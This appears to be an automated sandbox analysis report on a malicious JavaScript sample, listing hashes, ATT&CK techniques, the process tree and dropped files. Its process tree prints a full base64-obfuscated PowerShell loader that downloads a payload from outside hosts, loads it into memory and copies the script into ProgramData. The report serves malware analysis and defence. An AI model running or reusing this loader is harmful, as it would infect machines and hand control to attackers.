6865a70ecd52fa5ab8b6f184573f93ce0bf5bd1a7e1f499842e7e494601091f7

Analysis

max time kernel
149s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/04/2026, 07:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Product_Sample_List.js
Size 40KB
Sample260428-jf54ksh17r
SHA256 6865a70ecd52fa5ab8b6f184573f93ce0bf5bd1a7e1f499842e7e494601091f7
MD5 1c8d8cb2e2b0f154538448c275dffcca
SHA1 ad78d5af7ef368629b56b5145f8c00855f198ce5
SHA512 e4545c41567379c7c821cc13ed98d99d37b6d29219c253c6a986224959b622e90f59311a74a274673e2be6415c92515fe009a6720880a735f86894b7a080e08e
SSDEEP 192:QVzUm3NSg4vaUfpVGpw6earUMYee5Ef53cWNla0154H2zCxbsJkHtOHrMG3nuQe1:QMU/WHVsgkXSLJihkaWiuJB1ZvcnZ4
TLSH
T1500352241531318BC6F4550BCDA7E60B860DC8595D3C839BEF4B8B8FCAE568B7369E18
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4792	4860	powershell.exe	85

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
14	4792	powershell.exe
28	4792	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4792	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4792	powershell.exe
4792	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4792	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4792 wrote to memory of 5388	4792	powershell.exe	88
PID 5388 wrote to memory of 4172	5388	csc.exe	89

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Product_Sample_List.js
1⤵
PID:4884

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell "$ddsfdfdjhsdfgdgo = 'DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwB5AEIAMQBjADIAbAB1AFoAeQBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAagBzAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEYAQgBvAFkAVwA1ADAAYgAyADEASABZAFgAUgBsAGUAMwBCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBRAFgATgB6AFoAVwAxAGkAYgBIAGsAZwBUAEcAOQBoAFoARQBGAHoAYwAyAFYAdABZAG0AeAA1AEsARwBKADUAZABHAFYAYgBYAFMAQgBtAEsAWAB0AEIAYwAzAE4AbABiAFcASgBzAGUAUwBCAGgAUABXADUAMQBiAEcAdwA3AEkARwBsAG0ASwBHAEUAOQBQAFcANQAxAGIARwB3AHAAZQAzADAAZwBjAG0AVgAwAGQAWABKAHUASQBFAEYAdwBjAEUAUgB2AGIAVwBGAHAAYgBpADUARABkAFgASgB5AFoAVwA1ADAAUgBHADkAdABZAFcAbAB1AEwAawB4AHYAWQBXAFEAbwBaAGkAawA3AGYAWAAwAD0AJwANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAKAAkAGwAKQB7ACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAAJABsACAALQBDAG8AdQBuAHQAIAAkAGwALgBDAG8AdQBuAHQAKQB8ACUAewB0AHIAeQB7AHIAZQB0AHUAcgBuACAAJAB3AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAF8AKQB9AGMAYQB0AGMAaAB7AH0AfQB9AA0ACgBmAHUAbgBjAHQAaQBvAG4AIABpACgAJABhACwAJAB0ACwAJABtACwAJABwAD0AQAAoACkAKQB7ACQAeQA9AFsAUABoAGEAbgB0AG8AbQBHAGEAdABlAF0AOgA6AEwAbwBhAGQAQQBzAHMAZQBtAGIAbAB5ACgAJABhACkAOwAkAHIAPQAkAHkALgBHAGUAdABUAHkAcABlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AZQBxACAAJAB0AH0AOwAkAG4APQAkAHIALgBHAGUAdABNAGUAdABoAG8AZAAoACQAbQAsACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQAnAFAAdQBiAGwAaQBjACwATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAEkAbgBzAHQAYQBuAGMAZQAnACkAKQA7ACQAbwA9AGkAZgAoACEAJABuAC4ASQBzAFMAdABhAHQAaQBjACkAewBbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQAcgApAH0AOwAkAG4ALgBJAG4AdgBvAGsAZQAoACQAbwAsACQAcAApAH0ADQAKAA0ACgAkAGsAPQBAACgAKAAnAGgAdAB0AHAAcwA6AC8ALwBoAGEAcwB0AGUAYgAuAGkAbgAvAFcAWAA4AHAAWgBLAFcATABwAHUAZgBaAG4AcQBmACcAKQAsACgAJwBoAHQAdABwAHMAOgAvAC8AbQBhAGkAbABzAGgAYQByAGUALgBpAHQALwBuAGUAdwB1AGkAcwBtAGEAcgB0AC8AZABvAHcAbgBsAG8AYQBkAD8AdQBpAGQAPQBAADEALgBhAFcAcABUAFIAbQB0AEgAYQAxAEoARwBRADMATgB4AFQAagBJADUATQBHAGQAdgBhAGsAVgB3AFcAawBWAFUAYgAzAGsAeABaAG4AQgBqAGQAagBkAFcAUgAzAEIARQBOAFcAOQB2AFUAMAB4AHMAVwBHAG8AeABjAHoAZAB0AE4AMgA0ADEATQAyAFYANQBlAG0AMQB3AGIAMQBCADUAYwBuAFUAcgBiAEEAPQA9ACcAKQApAA0ACgBpAGYAKAAoACQAZwA9AGQAIAAkAGsAKQAtAGEAbgBkACgAJAB0AD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAZwApACkALQBtAGEAdABjAGgAJwA8ADwAUwBUAEEAUgBUAD4APgAoAC4AKgA/ACkAPAA8AEUATgBEAD4APgAnACkAewANAAoAIAAgACQAZwBnACAAPQAgACcAcwBlAHMAbgBlAFMAdAB1AG8AZQBkAGkASAAvAG8AbgAuAG8AaQBzAG4AZQBzAC4AZQB0AHMAYQBwAC8ALwA6AHMAZwBzAGYAZgBzAGYAcwBkACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAAOAApAA0ACgAgACAAIAAgAGkAIAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABNAGEAdABjAGgAZQBzAFsAMQBdACkAKQAgACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACAAJwByAHUAbgBzAHMAJwAgAEAAKAAkAGcAZwAsACAAJwAzACcALAAgACcAaQBjAGoAQQBkAGQASQAnACwAIAAnAE0AcwBiAHUAaQBsAGQAJwAsACAAJwAxACcAIAAsACAAJwB4ADgANgAnACkADQAKACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzAHwAcwBvAHIAdAAgAEMAUABVACAALQBkAGUAcwBjAHwAcwBlAGwAZQBjAHQAIAAtAGYAaQByAHMAdAAgADUAfABmAHQAIABOAGEAbQBlACwAQwBQAFUAIAB9AA0ACgANAAoAIAAgACAAIAAgACAAIAAgACAAIAA=';$OhgjuxD = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsfdfdjhsdfgdgo.replace('f#','r')));iex $OhgjuxD"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\Product_Sample_List.js' -Destination 'C:\ProgramData\icjAddI.js' -Force"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4792
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\roz0ctlp\roz0ctlp.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5388
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES79DE.tmp" "c:\Users\Admin\AppData\Local\Temp\roz0ctlp\CSCC551A1BD62434144BC10DC6CE13F9CB.TMP"
    3⤵
    PID:4172

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES79DE.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES79DE.tmp
Size 1KB
SHA256 fc36e703124d625ab507ab86c73f96c79d18a13edfe3c0135002610f661b33aa
MD5 f2c441f9fb6fb103bfa2e5acdff8cdc9
SHA1 9d33e8fc5a20e17f4ffdb3b206ba9d3eb4ced7b7
SHA512 0067abdae635d9233583fba52cc79445f85b5425a3c97ac29753b22b1c5661cf6e77590a6bae275a1eb5503d428ddbf5e9a0e713e230adcaaf126d622319e487
TLSH
T18D217B0553F9471BF0772B31ADFA172BA238FD69EFA2536A844003292C51514EEA0FB3
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ftjed2cz.rid.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ftjed2cz.rid.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

roz0ctlp.dll

Path C:\Users\Admin\AppData\Local\Temp\roz0ctlp\roz0ctlp.dll
Size 3KB
SHA256 c357d5d8be38439a2854dc56d4ea26f2f4f3d9833fbad050e19be195aaba5123
MD5 90ef6bce8df6abd6cce914aac905f567
SHA1 bc64d2eb6608f638f9cbe97c58233ecc8ee4c619
SHA512 63642f50ae811448382e2d15dacf9451789be8ea03b8055b37cca4b9b53397288e02b325887de84ca7b29dc364a3bfa51a6929361f46a9d3a1d14a0a1ca12c16
TLSH
T10751C11667E8422BF4670B356EF347173678F9509B63976E4980423CAC603705E31F72
MD5 SHA1 SHA512 TLSH

Submit Download

CSCC551A1BD62434144BC10DC6CE13F9CB.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\roz0ctlp\CSCC551A1BD62434144BC10DC6CE13F9CB.TMP
Size 652B
SHA256 3cf88750946796dc1493a64f5369c18d3791fc35c5848be918a6a0405b1e5e7d
MD5 744433e2ea27d8f22edcac783b9031d7
SHA1 77c7ad8a207fffea5629ebd1bdb09e3dbffbf850
SHA512 8c6e63ccd983737af07b6fb0199b5a3b1451e2e96ee21e92226ece905d6783177a14552c28bf221e9d7d28350e66422735014aa789cf2362c0b1bb0a7cb3840b
TLSH
T1CEF05E1973F8020EF0F35B30BDF6436395A9BC64DE3293ED1440031D28649208A62FB2
MD5 SHA1 SHA512 TLSH

Submit Download

roz0ctlp.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\roz0ctlp\roz0ctlp.0.cs
Size 185B
SHA256 6f73f3ed4fdcac3be47b0398f5e9f79c0e138e052f31f885e86b37e2060a00e0
MD5 dbd5c6f96ed1813dbcc61c2c6091c05e
SHA1 2b52d347bbd04db7c0227f8ddb0284c945a36100
SHA512 556441599e8c5be3f1b61fea9ef1879018a4eedf8e403cc227b2e39511397c2dbb5a7617246e0dadabe37df00919f36140ace5db189a070949f76913997d5516
TLSH
T13DC012843295F3354A8605073C02F99B223E6B2202A9691499592D47EE141617779C2B
MD5 SHA1 SHA512 TLSH

Submit Download

roz0ctlp.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\roz0ctlp\roz0ctlp.cmdline
Size 369B
SHA256 fb1fe4abca7d08d61fd5e624857a89f562b07a3de55eb95a7e3b98019b4e8578
MD5 14188b988024eaad353d3d7787ab98a0
SHA1 a0347067c66e367670ee9ae464f9138e87408303
SHA512 bbcfd41cc67724d73c4dd70a11d9d713e345b5e1f03e440f3ad619f806b4dec72b2b5303918ab8886622b69feb414d3d25e062b0333db6185e3cd153ea1e6b94
TLSH
T14CE0686A5356CE7F16DA100722BBC4ACE27206D32A403FB85048842DF0174143BD1B81
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4172-20-0x0000017B164B0000-0x0000017B164BC000-memory.dmp

Download

memory/4792-10-0x0000022CC3E60000-0x0000022CC3E82000-memory.dmp

Download

memory/4792-2-0x0000022CDC3C0000-0x0000022CDC3D0000-memory.dmp

Download

memory/4792-25-0x0000022CC3E40000-0x0000022CC3E48000-memory.dmp

Download

memory/4792-26-0x0000022CDC3C0000-0x0000022CDC3D0000-memory.dmp

Download

memory/4792-27-0x0000022CC3CE0000-0x0000022CC3CEC000-memory.dmp

Download

memory/4792-34-0x0000022CC3CE0000-0x0000022CC3CEC000-memory.dmp

Download

memory/4884-0-0x000001A621610000-0x000001A62161C000-memory.dmp

Download

memory/4884-1-0x000001A621610000-0x000001A62161C000-memory.dmp

Download

memory/5388-23-0x0000021AAF680000-0x0000021AAF68C000-memory.dmp

Download